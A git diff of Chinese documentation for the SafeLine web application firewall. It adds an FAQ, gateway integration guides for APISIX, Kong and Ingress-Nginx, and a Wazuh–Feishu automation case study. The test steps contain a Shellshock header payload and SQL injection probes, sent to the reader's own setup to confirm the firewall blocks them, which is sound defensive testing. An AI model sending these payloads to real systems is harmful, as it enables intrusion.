||||
docker logs -f safeline-mgt
|
||||
```
|
||||
|
||||
|
||||
根据错误日志的信息进行排查
|
||||
|
||||
## 紧急恢复 tengine
|
||||
问题表现:重启或升级后编辑任何站点配置都报错,后台 tengine 一直在重启。
|
||||
|
||||
一般原因是 tengine 配置在当前设备环境上不合法,导致 tengine 无法以原配置启动,例如重启过程中网站端口被其他进程所占用、网站 dns 配置异常导致解析不到 IP 等。
|
||||
|
||||
解决方案:可以通过查看 tengine 容器的日志,排查问题,也可以使用安装目录下的 `reset_tengine.sh` 脚本重置 tengine 容器配置。
|
||||
```shell
|
||||
# 执行时间根据网站数量和配置情况而定, 请耐心等待
|
||||
cd /data/safeline && bash reset_tengine.sh
|
||||
```
|
||||
执行成功后会有如下输出,此时可以尝试重新编辑站点配置,观察是否正常。
|
||||
```shell
|
||||
[SafeLine] 是否重新生成 tengine 的所有配置 (Y/n)
|
||||
|
||||
重新生成 tengine 配置完成
|
||||
```
|
||||
|
||||
## 是否支持 WebSocket ?
|
||||
|
||||
默认支持
|
||||
|
||||
## 内网需要加白哪些公网地址?
|
||||
| 地址 | 端口 | 说明 |
|
||||
|------------------------------|-------|--------------------|
|
||||
| waf-ce.chaitin.cn | 443 | 搜索引擎爬虫白名单、左下角的更新提示 |
|
||||
| challenge.rivers.chaitin.cn | 443 | 恶意 IP 情报 |
|
||||
| safeline-cloud.chaitin.com | 50052 | 专业版授权 |
|
||||
| acme-v02.api.letsencrypt.org | 443 | acme 证书申请 |
|
||||
| rivers.chaitin.cn | 443 | 百川推荐工具(浏览器使用) |
|
||||
|
||||
|
||||
## 是否可以给客户/朋友推荐或安装社区版?
|
||||
|
||||
欢迎推荐雷池社区版给客户、公司和朋友!
|
||||
|
||||
但是,请注意,我们不允许以下行为:
|
||||
|
||||
1. 对软件进行破解、逆向工程、二次包装、篡改版权信息等操作
|
||||
|
||||
2. 在未获得长亭授权的情况下,出售雷池社区版或提供商业化的技术服务
|
||||
|
||||
3. 其他任何侵犯雷池社区版知识产权的行为,[查看授权协议](https://github.com/chaitin/SafeLine/blob/main/LICENSE.md)
|
||||
|
||||
感谢您的理解和支持!
|
||||
|
||||
## 雷池社区版和企业版有什么区别
|
||||
|
||||
企业版功能完善、部署模式灵活,能满足合规等保的需要。另外,企业版提供完善、一对一的支持服务,包括方案咨询、售后支持、漏洞应急服务等。企业版还有完善的开发管理流程和事故响应机制,能够对稳定性做承诺。
|
||||
|
||||
企业体量较大的客户可以使用社区版/专业版,但社区版功能有限,可以在边缘的小网站、内部网站上试用一下。
|
||||
|
||||
如对企业版有预算,可以联系销售申请企业版试用,官网留电话即可。
|
||||
|
||||
## 问题无法解决
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"label": "常见问题排查",
|
||||
"collapsed": false,
|
||||
"collapsed": true,
|
||||
"link": {
|
||||
"type": "generated-index"
|
||||
}
|
||||
|
||||
@@ -16,38 +16,13 @@ apisix:https://github.com/apache/apisix
|
||||
|
||||
## 使用方式
|
||||
|
||||
### 安装 APISIX
|
||||
### 版本要求
|
||||
* APISIX >= 3.5.0
|
||||
* Safeline >= 5.6.0
|
||||
|
||||
> 注意,要使用 APISIX 3.5.0 及以上版本
|
||||
### 准备工作
|
||||
|
||||
本文使用 apisix 的 docker 版本来做演示,克隆 apisix-docker 仓库,运行以下命令来安装:
|
||||
|
||||
```
|
||||
git clone <https://github.com/apache/apisix-docker>
|
||||
cd apisix-docker/compose
|
||||
echo 'APISIX_DOCKER_TAG=3.5.0-debian' >> .env
|
||||
docker compose -f docker-compose-release.yaml up -d
|
||||
```
|
||||
|
||||
业务地址:http://127.0.0.1:9080/
|
||||
|
||||
管理地址:http://127.0.0.1:9180/
|
||||
|
||||
### 安装雷池
|
||||
|
||||
使用雷池官方提供的一句话安装命令即可:
|
||||
|
||||
```
|
||||
bash -c "$(curl -fsSLk <https://waf-ce.chaitin.cn/release/latest/setup.sh>)"
|
||||
```
|
||||
|
||||
不出意外的话,一路回车就能安装成功。
|
||||
|
||||
安装目录:/data/safeline/
|
||||
|
||||
### 修改雷池检测引擎的工作模式
|
||||
|
||||
社区版雷池的检测引擎默认以 unix socket 的方式提供服务,我们需要把他修改为 tcp 方式,供 APISIX 调用。
|
||||
社区版雷池的检测引擎默认以 unix socket 的方式提供服务,我们需要把他修改为 tcp 方式,供 t1k 插件调用。
|
||||
|
||||
进入雷池检测引擎的配置目录:
|
||||
|
||||
@@ -62,19 +37,18 @@ bind_addr: 0.0.0.0
|
||||
listen_port: 8000
|
||||
```
|
||||
|
||||
detector配置的属性值将覆盖容器内默认配置文件的同名属性值。这样我们就把雷池引擎的服务监听到了 8000 端口,现在只需要把容器内的 8000 端口映射到宿主机即可。
|
||||
detector配置的属性值将覆盖容器内默认配置文件的同名属性值。这样我们就把雷池引擎的服务监听到了 8000 端口。
|
||||
|
||||
进入雷池的安装目录
|
||||
|
||||
> cd /data/safeline/
|
||||
> 用文本编辑器打开目录里的 compose.yaml 文件,为 detector 容器增加 ports 字段,暴露其 8000
|
||||
|
||||
端口,参考如下:
|
||||
现在只需要把容器内的 8000 端口映射到宿主机即可,首先进入雷池的安装目录
|
||||
```
|
||||
cd /data/safeline/
|
||||
```
|
||||
然后用文本编辑器打开目录里的 compose.yaml 文件,为 detector 容器增加 ports 字段,暴露其 8000 端口,参考如下:
|
||||
|
||||
```
|
||||
......
|
||||
|
||||
detector:
|
||||
detect:
|
||||
......
|
||||
ports:
|
||||
- 8000:8000
|
||||
@@ -95,6 +69,23 @@ docker compose up -d
|
||||
|
||||
在雷池的安装目录下,有一个名为 .env 的隐藏文件,其中的 MGT_PORT 字段,修改这里后使用上面的方法再重启雷池即可生效。
|
||||
|
||||
### 安装 APISIX
|
||||
|
||||
> 注意,要使用 APISIX 3.5.0 及以上版本
|
||||
|
||||
本文使用 apisix 的 docker 版本来做演示,克隆 apisix-docker 仓库,运行以下命令来安装:
|
||||
|
||||
```
|
||||
git clone <https://github.com/apache/apisix-docker>
|
||||
cd apisix-docker/compose
|
||||
echo 'APISIX_DOCKER_TAG=3.5.0-debian' >> .env
|
||||
docker compose -f docker-compose-release.yaml up -d
|
||||
```
|
||||
|
||||
业务地址:http://127.0.0.1:9080/
|
||||
|
||||
管理地址:http://127.0.0.1:9180/
|
||||
|
||||
### 在 apisix 里绑定雷池
|
||||
|
||||
调用 apisix 的 api,设置雷池检测引擎的地址,供 apisix 调用,参考以下请求:
|
||||
@@ -159,3 +150,45 @@ curl '<http://127.0.0.1:9080/>' -d 'a=1 and 1=1'
|
||||
```
|
||||
|
||||
打开雷池的控制台界面,可以看到雷池记录了完整的攻击信息
|
||||
|
||||
### 让 WAF 本身的站点拦截同时工作
|
||||
|
||||
由于更改了 detector 的监听方式,通过雷池控制台界面配置的站点将无法正常拦截恶意请求,需要在 nginx 配置中将检测引擎地址改为 http 方式。
|
||||
|
||||
首先拷贝一份 nginx 配置文件
|
||||
|
||||
```shell
|
||||
cp /data/safeline/resources/nginx/safeline_unix.conf /data/safeline/resources/nginx/safeline_http.conf
|
||||
```
|
||||
|
||||
编辑 nginx.conf 文件,将里面的 `include /etc/nginx/safeline_unix.conf;` 注释掉,添加下面的一行
|
||||
|
||||
```shell
|
||||
# nginx.conf
|
||||
include /etc/nginx/conf.d/*.conf;
|
||||
include /etc/nginx/sites-enabled/generated;
|
||||
# include /etc/nginx/safeline_unix.conf;
|
||||
include /etc/nginx/safeline_http.conf;
|
||||
```
|
||||
|
||||
通过 docker inspect 获取 detector 的 ip
|
||||
|
||||
```shell
|
||||
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' safeline-detector
|
||||
```
|
||||
|
||||
编辑 safeline_http.conf 文件做出如下修改
|
||||
```yaml
|
||||
# safeline_http.conf
|
||||
upstream detector_server {
|
||||
keepalive 256;
|
||||
#server unix:/resources/detector/snserver.sock;
|
||||
server detector_ip:8000; # 这里填写上面获取到的 detector 的 ip
|
||||
}
|
||||
```
|
||||
|
||||
### 问题答疑
|
||||
|
||||
如果在使用过程中遇到问题,可以在加入 SDK 讨论群
|
||||
|
||||

|
||||
66
documents/docs/04-practice/04-kong.md
Normal file
@@ -0,0 +1,66 @@
|
||||
---
|
||||
title: "Kong 集成雷池"
|
||||
---
|
||||
|
||||
# Kong 集成雷池
|
||||
|
||||
[Kong](https://github.com/Kong/kong) 是一个云原生、快速、可扩展和分布式的微服务抽象层(也称为 API 网关或 API 中间件)。它通过插件提供了丰富的流量控制、安全、监控和运维功能。
|
||||
|
||||
# 使用方式
|
||||
|
||||
### 版本要求
|
||||
* Kong >= 2.6.x
|
||||
* Safeline >= 5.6.0
|
||||
|
||||
### 准备工作
|
||||
|
||||
参考 [APISIX 联动雷池](/docs/practice/apisix#准备工作) 的准备工作。
|
||||
|
||||
### 安装 Kong 插件
|
||||
|
||||
自定义插件可以通过 LuaRocks 安装。Lua 插件以 .rock 格式分发,这是一个自包含的包,可以从本地或远程服务器安装。
|
||||
|
||||
如果您使用了官方的 Kong Gateway 安装包,则 LuaRocks 实用程序应该已经安装在您的系统中。
|
||||
|
||||
1. 安装 safeline 插件
|
||||
```shell
|
||||
luarocks install kong-safeline
|
||||
```
|
||||
2. 启用 safeline 插件,在 kong.conf 配置文件中添加以下配置:
|
||||
```shell
|
||||
plugins = bundled,safeline # Comma-separated list of plugins this node
|
||||
# should load. By default, only plugins
|
||||
# bundled in official distributions are
|
||||
# loaded via the `bundled` keyword.
|
||||
|
||||
```
|
||||
3. 重启 Kong Gateway
|
||||
```shell
|
||||
kong restart
|
||||
```
|
||||
|
||||
### 使用 Kong 插件
|
||||
在某个 service 上启用 safeline 插件:
|
||||
> config 中的 detector_host 和 safeline_port 是雷池检测引擎的地址和端口,是在准备工作中配置的。
|
||||
```shell
|
||||
curl -X POST http://localhost:8001/services/{service}/plugins \
|
||||
--data "name=safeline" \
|
||||
--data "config.safeline_host=<detector_host>" \
|
||||
--data "config.safeline_port=<detector_port>"
|
||||
```
|
||||
|
||||
### 测试防护效果
|
||||
模拟简单的 SQL 注入攻击访问 kong ,如果返回 403 Forbidden,说明防护生效。
|
||||
```shell
|
||||
$ curl -X POST http://localhost:8000?1=1%20and%202=2
|
||||
|
||||
# you will receive a 403 Forbidden response
|
||||
{"code": 403, "success":false, "message": "blocked by Chaitin SafeLine Web Application Firewall", "event_id": "8b41a021ea9541c89bb88f3773b4da24"}
|
||||
```
|
||||
打开雷池的控制台界面,可以看到雷池记录了完整的攻击信息。
|
||||
|
||||
### 问题答疑
|
||||
|
||||
如果在使用过程中遇到问题,可以在加入 SDK 讨论群
|
||||
|
||||

|
||||
180
documents/docs/04-practice/05-ingress-nginx.md
Normal file
@@ -0,0 +1,180 @@
|
||||
---
|
||||
title: "Ingres-Nginx 集成雷池"
|
||||
---
|
||||
|
||||
# 使用方式
|
||||
|
||||
### 版本要求
|
||||
* Safeline >= 5.6.0
|
||||
|
||||
### 准备工作
|
||||
参考 [APISIX 联动雷池](/docs/practice/apisix#准备工作) 的准备工作。
|
||||
|
||||
### 准备 Safeline 配置
|
||||
|
||||
使用 ConfigMap 配置 Safeline 插件需要的检测引擎 host 和 port,内容如下:
|
||||
|
||||
```yaml
|
||||
# safeline.yaml
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: safeline
|
||||
namespace: ingress-nginx
|
||||
data:
|
||||
host: "detector_host" # 雷池检测引擎的地址, 参考准备工作
|
||||
port: "8000"
|
||||
```
|
||||
|
||||
使用 ingress-nginx 创建 ConfigMap:
|
||||
|
||||
```shell
|
||||
kubectl create namespace ingress-nginx
|
||||
kubectl apply -f safeline.yaml
|
||||
```
|
||||
|
||||
### 全新安装集成方式
|
||||
|
||||
使用 helm 安装 Ingress-Nginx,参考 [Ingress-Nginx 官方文档](https://kubernetes.github.io/ingress-nginx/deploy/#using-helm)
|
||||
|
||||
使用下面的 values.yaml 进行镜像替换和插件配置:
|
||||
|
||||
```yaml
|
||||
# values.yaml
|
||||
controller:
|
||||
kind: DaemonSet
|
||||
image:
|
||||
registry: docker.io
|
||||
image: chaitin/ingress-nginx-controller
|
||||
tag: v1.10.1
|
||||
digest: ""
|
||||
extraEnvs:
|
||||
- name: SAFELINE_HOST
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
name: safeline
|
||||
key: host
|
||||
- name: SAFELINE_PORT
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
name: safeline
|
||||
key: port
|
||||
service:
|
||||
externalTrafficPolicy: Local # 便于获取真实客户端 IP
|
||||
config:
|
||||
plugins: safeline
|
||||
admissionWebhooks:
|
||||
patch:
|
||||
image:
|
||||
registry: docker.io
|
||||
image: chaitin/ingress-nginx-kube-webhook-certgen
|
||||
tag: v1.4.1
|
||||
digest: ""
|
||||
```
|
||||
执行安装命令
|
||||
```shell
|
||||
helm upgrade --install ingress-nginx ingress-nginx \
|
||||
--repo https://kubernetes.github.io/ingress-nginx \
|
||||
--namespace ingress-nginx --create-namespace \
|
||||
-f values.yaml
|
||||
```
|
||||
如果你想自行构建 Ingress-Nginx 镜像,可以参考下面的 Dockerfile:
|
||||
|
||||
```Dockerfile
|
||||
FROM registry.k8s.io/ingress-nginx/controller:v1.10.1
|
||||
|
||||
USER root
|
||||
|
||||
RUN apk add --no-cache make gcc unzip wget
|
||||
|
||||
# install luaroncks
|
||||
RUN wget https://luarocks.org/releases/luarocks-3.11.0.tar.gz && \
|
||||
tar zxpf luarocks-3.11.0.tar.gz && \
|
||||
cd luarocks-3.11.0 && \
|
||||
./configure && \
|
||||
make && \
|
||||
make install && \
|
||||
cd .. && \
|
||||
rm -rf luarocks-3.11.0 luarocks-3.11.0.tar.gz
|
||||
|
||||
RUN luarocks install ingress-nginx-safeline && \
|
||||
ln -s /usr/local/share/lua/5.1/safeline /etc/nginx/lua/plugins/safeline
|
||||
|
||||
USER www-data
|
||||
```
|
||||
|
||||
### 已有 Ingress-Nginx 集成方式
|
||||
|
||||
#### Step 1. 安装 Safeline 插件
|
||||
|
||||
参考上面的 Dockerfile 使用 luarocks 安装 Safeline 插件到 nginx 的默认插件目录。
|
||||
|
||||
#### Step 2. 配置 Safeline 插件
|
||||
|
||||
使用上面的 safeline.yaml 创建 ConfigMap:
|
||||
|
||||
```shell
|
||||
kubectl apply -f safeline.yaml
|
||||
```
|
||||
在 Ingress-Nginx 的插件配置中启用 Safeline :
|
||||
|
||||
```yaml
|
||||
# ingress-nginx-controller-configmap.yaml
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: ingress-nginx-controller
|
||||
namespace: ingress-nginx
|
||||
data:
|
||||
plugins: "safeline"
|
||||
```
|
||||
|
||||
#### Step 3. 注入 Safeline 环境变量
|
||||
在 Ingress-Nginx 的 Deployment/DaemonSet 中添加环境变量便于插件读取:
|
||||
|
||||
```yaml
|
||||
# ingress-nginx-controller-deployment.yaml
|
||||
...
|
||||
env:
|
||||
- name: SAFELINE_HOST
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
name: safeline
|
||||
key: host
|
||||
- name: SAFELINE_PORT
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
name: safeline
|
||||
key: port
|
||||
```
|
||||
|
||||
#### Step 4. [可选] 获取真实客户端 IP
|
||||
|
||||
配置 nginx service 的 externalTrafficPolicy 为 Local,以便获取真实客户端 IP
|
||||
|
||||
### 测试 Safeline 插件
|
||||
|
||||
通过构造恶意请求测试 Safeline 插件是否生效,例如:
|
||||
|
||||
```shell
|
||||
curl http://localhost:80/ -H "Host: example.com" -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'echo hello'"
|
||||
```
|
||||
|
||||
你会看到返回 403 Forbidden,说明 Safeline 插件生效了。
|
||||
|
||||
```json
|
||||
{
|
||||
"code": 403,
|
||||
"success": false,
|
||||
"message": "blocked by Chaitin SafeLine Web Application Firewall",
|
||||
"event_id": "18e0f220f7a94127acb21ad3c1b4ac47"
|
||||
}
|
||||
```
|
||||
|
||||
在雷池的控制台界面,可以看到雷池记录了完整的攻击信息。
|
||||
|
||||
### 问题答疑
|
||||
|
||||
如果在使用过程中遇到问题,可以在加入 SDK 讨论群
|
||||
|
||||

|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"label": "最佳实践",
|
||||
"collapsed": false,
|
||||
"collapsed": true,
|
||||
"link": {
|
||||
"type": "generated-index"
|
||||
}
|
||||
|
||||
1113
documents/docs/05-submission/01-K3s.md
Normal file
600
documents/docs/05-submission/02-operate.md
Normal file
@@ -0,0 +1,600 @@
|
||||
---
|
||||
title: "自动化安全运营实操案例: Wazuh X 雷池WAF X 飞书"
|
||||
---
|
||||
|
||||
# 自动化安全运营实操案例: Wazuh X 雷池WAF X 飞书
|
||||
|
||||
作者:曼联小胖子(社区42群)
|
||||
|
||||
## 背景
|
||||
|
||||
作为中小型企业的安全工程师,往往面临资源有限(没SOC/SOAR)、人手不足的情况,很可能1个人要负责运营公司所有安全产品(例如我)。
|
||||
为了提升安全运营的工作效率,我们需要解决以下问题:
|
||||
|
||||
1. 避免频繁切换安全系统看日志
|
||||
2. 避免人工封禁IP的傻瓜式操作
|
||||
3. 将攻击详情以及处置告警及时通知到相关人员,并且方便随时讨论
|
||||
|
||||
本文主要介绍“Wazuh X 雷池WAF X 飞书”联动的场景,另外,实际工作中还能产生”Wazuh X 网络/安全设备 X 飞书"、”Wazuh X 服务器 X 飞书"、“Wazuh X 蜜罐 X飞书“的应用,以后有时间再逐个开坑做案例分享。
|
||||
|
||||
## 软件介绍
|
||||
|
||||
### Wazuh
|
||||
|
||||
一款国外的SIEM平台,可以理解为安全版的ELK,具有日志统计分析、可视化、主机监控等功能。目前github有9.2k star,目前分为Saas版和开源版。
|
||||
Wazuh分为Server端以及Agent,Agent可以对服务器进行日志监控、漏洞检测、安全合规基线扫描、进程收集,集成Virus Total接口后可具备磁盘恶意文件检测能力。
|
||||
|
||||
本文中使用的是私有部署的开源版 **4.7.3**,主要提供日志监控、下发指令自动处置的能力。
|
||||
|
||||
### 雷池社区版
|
||||
|
||||
雷池(SafeLine)是长亭科技耗时近 10 年倾情打造的WAF,核心检测能力由智能语义分析算法驱动,目前分为社区版、专业版和企业版。
|
||||
|
||||
本文使用的是私有部署的社区版 **5.4.0**,主要提供Web安全检测防护能力、产生安全日志。
|
||||
|
||||
### 飞书
|
||||
|
||||
一款字节跳动旗下的工作协同平台和IM软件,读者公司若使用钉钉、企业微信也可以达到一样效果。
|
||||
|
||||
本文使用的是商业版 **7.15.9** ,主要用于接收告警通知和工作沟通,相比传统邮件的沟通方式更高效。
|
||||
|
||||
## 工作流程图
|
||||
|
||||

|
||||
|
||||
效果图
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### 前置工作
|
||||
|
||||
#### 服务器2台
|
||||
|
||||
Wazuh Server服务器:操作系统本文以CentOS 7.6为例,该服务器需要部署Wazuh Server以及处置python脚本,CPU、内存、硬盘要求可参考官方文档和下图:
|
||||
|
||||

|
||||
|
||||
雷池WAF服务器:32G内存,4核CPU,100G硬盘,操作系统本文以Rocky Linux 9.3为例,代替将要停服的CentOS7。该服务器需要部署雷池WAF以及Wazuh Agent。
|
||||
|
||||
#### 安装Wazuh Server
|
||||
|
||||
Wazuh Server的组件以及功能非常多,还支持集群部署。由于篇幅问题本文不展开进行阐述,旨在快速部署环境。
|
||||
运行官方一键安装脚本,建议挂魔法,避免安装过程失败。
|
||||
|
||||
```shell
|
||||
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash ./wazuh-install.sh -a
|
||||
```
|
||||
|
||||
安装完成后会输出web访问地址和admin密码,输入https://ip 后即可访问wazuh的web界面。
|
||||
|
||||
如果访问不了,请检查防火墙是否放开443端口。
|
||||
|
||||
```shell
|
||||
INFO: --- Summary ---
|
||||
INFO: You can access the web interface https://<wazuh-dashboard-ip>
|
||||
User: admin
|
||||
Password: <ADMIN_PASSWORD>
|
||||
INFO: Installation finished.
|
||||
```
|
||||
|
||||
如还有安装问题,见官方安装文档并自行根据提示和日志进行排查。
|
||||
|
||||
### 安装雷池WAF
|
||||
|
||||
1. 安装docker
|
||||
|
||||
```shell
|
||||
#删除旧版本docker
|
||||
sudo yum remove docker \
|
||||
docker-client \
|
||||
docker-client-latest \
|
||||
docker-common \
|
||||
docker-latest \
|
||||
docker-latest-logrotate \
|
||||
docker-logrotate \
|
||||
docker-engine
|
||||
#安装最新版本docker
|
||||
sudo yum install -y yum-utils
|
||||
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
|
||||
sudo yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
|
||||
sudo systemctl start docker
|
||||
sudo systemctl enable docker
|
||||
```
|
||||
|
||||
2. 安装雷池WAF
|
||||
|
||||
```shell
|
||||
CDN=1 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
|
||||
```
|
||||
|
||||
安装完成后,注意防火墙放开9443端口,初始账号为admin,密码在安装完waf后会随机生成:
|
||||
|
||||

|
||||
|
||||
如还有安装问题,见官方安装文档。
|
||||
|
||||
|
||||
### 安装Wazuh Agent
|
||||
|
||||
1. 本地用浏览器登录Wazuh Web管理界面:
|
||||
|
||||

|
||||
|
||||
2. 进入部署界面
|
||||
|
||||

|
||||
|
||||
3. 生成Wazuh Agent部署命令
|
||||
|
||||

|
||||
|
||||
4. 登录雷池WAF服务器,执行以下命令,安装Wazuh Agent。注意Wazuh Server的1514、1515端口要开放给雷池WAF服务器访问。
|
||||
|
||||
```shell
|
||||
curl -o wazuh-agent-4.7.4-1.x86_64.rpm https://packages.wazuh.com/4.x/yum/wazuh-agent-4.7.4-1.x86_64.rpm && sudo WAZUH_MANAGER='192.168.31.24' WAZUH_AGENT_NAME='waf' rpm -ihv wazuh-agent-4.7.4-1.x86_64.rpm
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl enable wazuh-agent
|
||||
sudo systemctl start wazuh-agent
|
||||
```
|
||||
|
||||
### 安装飞书
|
||||
|
||||
官网直接下载飞书安装即可
|
||||
|
||||
## 配置过程
|
||||
|
||||
### 雷池WAF配置
|
||||
|
||||
1. 本地浏览器登录雷池WAF管理界面,根据自己公司的实际情况,添加要保护的域名,例如a.test.com
|
||||
|
||||

|
||||
|
||||
2. 添加一个自定义IP组,后面做黑名单用。
|
||||
|
||||

|
||||
|
||||
3. 添加一个黑名单,关联上一步创建的IP组。
|
||||
|
||||

|
||||
|
||||
4. 根据实际情况,配置雷池WAF的安全功能
|
||||
|
||||

|
||||
|
||||
### 雷池WAF服务器配置
|
||||
|
||||
1. 登录雷池WAF服务器,映射雷池pgsql数据库本地登录端口5432到宿主机,后续shell脚本需要登录数据库:
|
||||
|
||||
```shell
|
||||
docker stop safeline-pg
|
||||
systemctl stop docker
|
||||
vim /var/lib/docker/containers/$(docker ps --no-trunc | grep safeline-pg | awk '{print $1}')/hostconfig.json ,#找到PortBindings,修改为以下配置"PortBindings":{"5432/tcp":[{"HostIp":"127.0.0.1","HostPort":"5432"}]},
|
||||
systemctl start docker
|
||||
netstat -tnlp | grep 5432 #查看pgsql数据库的端口是否成功映射到宿主机
|
||||
```
|
||||
|
||||
2. 获取pgsql数据库的密码:
|
||||
|
||||
```shell
|
||||
cat /data/safeline/.env | grep POSTGRES_PASSWORD | tail -n 1 | awk -F '=' '{print $2}'
|
||||
```
|
||||
|
||||
3. 创建.pgpass,后续传递密码给shell脚本使用:
|
||||
```shell
|
||||
vim /var/scripts/.pgpass,添加以下参数
|
||||
localhost:5432:safeline-ce:safeline-ce:abcd #把abcd替换成第2步中获取到的密码
|
||||
```
|
||||
|
||||
4. 创建shell脚本,主要功能是生成syslog日志给wazuh监控使用:
|
||||
|
||||
```shell
|
||||
mkdir /var/log/waf_alert
|
||||
touch /var/log/waf_alert/waf_alert.log
|
||||
touch /var/scripts/waf_log.sh
|
||||
chmod u+x /var/scripts/waf_log.sh
|
||||
vim /var/scripts/waf_log.sh,添加以下代码
|
||||
#!/bin/bash
|
||||
|
||||
# 设置PGPASSFILE环境变量
|
||||
export PGPASSFILE=/var/scripts/.pgpass
|
||||
|
||||
# PostgreSQL 的连接信息
|
||||
PG_HOST="localhost"
|
||||
PORT="5432"
|
||||
DATABASE="safeline-ce"
|
||||
USERNAME="safeline-ce"
|
||||
HOSTNAME=$(hostname)
|
||||
PROGRAM_NAME="safeline-ce"
|
||||
|
||||
#获取最后一条WAF攻击事件日志的ID,日志数据存储在MGT_DETECT_LOG_BASIC表中
|
||||
LAST_ID=$(psql -h $PG_HOST -p $PORT -U $USERNAME -d $DATABASE -t -P footer=off -c "SELECT id FROM PUBLIC.MGT_DETECT_LOG_BASIC ORDER BY id desc limit 1")
|
||||
while true;do
|
||||
#从pgsql数据库中获取waf的最新攻击事件日志,如果没有产生新日志,这条SQL会返回空
|
||||
raw_log=$(psql -h $PG_HOST -p $PORT -U $USERNAME -d $DATABASE -t -P footer=off -c "SELECT TO_CHAR(to_timestamp(timestamp) AT TIME ZONE 'Asia/Hong_Kong', 'Mon DD HH24:MI:SS'), CONCAT(PROVINCE, CITY) AS SRC_CITY, SRC_IP, CONCAT(HOST, ':', DST_PORT) AS HOST,url_path,rule_id,id FROM PUBLIC.MGT_DETECT_LOG_BASIC where id > '$LAST_ID' ORDER BY id asc limit 1")
|
||||
#检查SQL查询结果,如果有新加的日志就执行以下操作,把SQL查询结果重写为syslog日志,并记录到/var/log/waf_alert/waf_alert.log
|
||||
if [ -n "$raw_log" ]; then
|
||||
ALERT_TIME=$(echo "$raw_log" | awk -F ' \\| ' '{print $1}')
|
||||
SRC_CITY=$(echo "$raw_log" | awk -F ' \\| ' '{print $2}')
|
||||
SRC_IP=$(echo "$raw_log" | awk -F ' \\| ' '{print $3}')
|
||||
DST_HOST=$(echo "$raw_log" | awk -F ' \\| ' '{print $4}')
|
||||
URL=$(echo "$raw_log" | awk -F ' \\| ' '{print $5}')
|
||||
RULE_ID=$(echo "$raw_log" | awk -F ' \\| ' '{print $6}')
|
||||
EVENT_ID=$(echo "$raw_log" | awk -F ' \\| ' '{print $7}')
|
||||
syslog="src_city:$SRC_CITY, src_ip:$SRC_IP, dst_host:$DST_HOST, url:$URL, rule_id:$RULE_ID, log_id:$EVENT_ID"
|
||||
echo $ALERT_TIME $HOSTNAME $PROGRAM_NAME: $syslog >> /var/log/waf_alert/waf_alert.log
|
||||
#更新最后处理的事件ID
|
||||
LAST_ID=$(($LAST_ID+1))
|
||||
fi
|
||||
sleep 3
|
||||
done
|
||||
```
|
||||
|
||||
5. 后台运行监控脚本,并且添加开机启动:
|
||||
|
||||
```shell
|
||||
nohup /var/scripts/waf_log.sh > /dev/null 2>&1 &
|
||||
vim /etc/rc.local,添加以下代码
|
||||
nohup /var/scripts/waf_log.sh > /dev/null 2>&1 &
|
||||
```
|
||||
|
||||
### 飞书配置
|
||||
|
||||
1. 添加一个安全告警通知群和群机器人,后面需要通过这个机器人发告警卡片到群里。
|
||||
|
||||

|
||||
|
||||
2. 选择自定义机器人。
|
||||
|
||||

|
||||
|
||||
3. 保存webhook地址,后面配置wazuh脚本要用。
|
||||
|
||||

|
||||
|
||||
### Wazuh Server配置
|
||||
|
||||
1. 添加触发告警时调用的脚本,一共有2个文件,这是custom-waf文件,不用做任何修改
|
||||
|
||||
```shell
|
||||
touch /var/ossec/integrations/custom-waf
|
||||
chmod 750 /var/ossec/integrations/custom-waf
|
||||
chown root:wazuh /var/ossec/integrations/custom-waf
|
||||
vim /var/ossec/integrations/custom-waf ,添加以下代码:
|
||||
|
||||
#!/bin/sh
|
||||
# Copyright (C) 2015, Wazuh Inc.
|
||||
# Created by Wazuh, Inc. <info@wazuh.com>.
|
||||
# This program is free software; you can redistribute it and/or modify it under the terms of GPLv2
|
||||
|
||||
WPYTHON_BIN="framework/python/bin/python3"
|
||||
|
||||
SCRIPT_PATH_NAME="$0"
|
||||
|
||||
DIR_NAME="$(cd $(dirname ${SCRIPT_PATH_NAME}); pwd -P)"
|
||||
SCRIPT_NAME="$(basename ${SCRIPT_PATH_NAME})"
|
||||
|
||||
case ${DIR_NAME} in
|
||||
*/active-response/bin | */wodles*)
|
||||
if [ -z "${WAZUH_PATH}" ]; then
|
||||
WAZUH_PATH="$(cd ${DIR_NAME}/../..; pwd)"
|
||||
fi
|
||||
|
||||
PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"
|
||||
;;
|
||||
*/bin)
|
||||
if [ -z "${WAZUH_PATH}" ]; then
|
||||
WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"
|
||||
fi
|
||||
|
||||
PYTHON_SCRIPT="${WAZUH_PATH}/framework/scripts/${SCRIPT_NAME}.py"
|
||||
;;
|
||||
*/integrations)
|
||||
if [ -z "${WAZUH_PATH}" ]; then
|
||||
WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"
|
||||
fi
|
||||
|
||||
PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"
|
||||
;;
|
||||
esac
|
||||
|
||||
${WAZUH_PATH}/${WPYTHON_BIN} ${PYTHON_SCRIPT} "$@"
|
||||
```
|
||||
|
||||
2. 这是封禁IP以及发飞书告警的python脚本custom-waf.py,我用的是centos自带的python 2.7.5,注释部分需更改为自己的信息
|
||||
|
||||
```shell
|
||||
mkdir /var/log/waf/block_ip.log
|
||||
chown wazuh:wazuh /var/log/waf/block_ip.log
|
||||
chmod 644 /var/log/waf/block_ip.log
|
||||
touch /var/ossec/integrations/custom-waf.py
|
||||
chmod 750 /var/ossec/integrations/custom-waf.py
|
||||
